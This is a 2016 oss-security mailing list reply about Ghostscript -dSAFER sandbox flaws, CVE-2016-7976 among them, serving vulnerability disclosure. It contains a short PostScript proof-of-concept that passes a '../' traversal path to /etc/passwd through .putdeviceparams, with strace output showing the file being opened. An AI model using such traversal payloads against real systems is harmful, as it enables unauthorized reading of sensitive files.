[<prev] [next>] [<thread-prev] [day] [month] [year] [list]
Date: Wed, 19 Oct 2016 16:29:43 +0200
From: Cedric Buissart <cbuissar@...hat.com>
To: oss-security@...ts.openwall.com
Cc: taviso@...gle.com
Subject: Re: Re: CVE Request - multiple ghostscript -dSAFER
sandbox problems
On Wed, Oct 5, 2016 at 8:04 PM, <cve-assign@...re.org> wrote:
>
>
> > bug: various userparams allow %pipe% in paths, allowing remote shell
> > command execution.
> > id: http://bugs.ghostscript.com/show_bug.cgi?id=697178
> > repro: http://www.openwall.com/lists/oss-security/2016/09/30/8
> > patch: http://git.ghostscript.com/?p=user/chrisl/ghostpdl.git;h=
> 71ac87493b1e445d6c07554d4246cf7d4f44875c
>
> Use CVE-2016-7976.
>
> There currently isn't a separate CVE ID for the earlier impact that
> occurred when "b" was in the mode argument to popen. The question of
> whether popen will execute anyway (even with the 'b" character) is,
> more or less, a reachability concern in this context, and doesn't mean
> that a second vulnerability needs to be defined.
>
> The original report for this bug (http://bugs.ghostscript.com/
show_bug.cgi?id=697178), as described by Florian, was mentioning a
directory traversal issue.
The directory traversal does not appear to be resolved after applying the
given patch :
$ cat putdevice-open.ps
%!PS
currentdevice null true mark /OutputICCProfile (../../../../../etc/passwd)
.putdeviceparams
quit
$ strace -f -e open gs -dSAFER putdevice-open.ps |& grep passwd
open("/usr/share/ghostscript/9.20/iccprofiles/../../../../../etc/passwd",
O_RDONLY) = 6
Is it expected ?
--
Cedric Buissart,
Product Security
Powered by blists - more mailing lists
Please check out the
Open Source Software Security Wiki, which is counterpart to this
mailing list.
Confused about mailing lists and their use?
Read about mailing lists on Wikipedia
and check out these
guidelines on proper formatting of your messages.
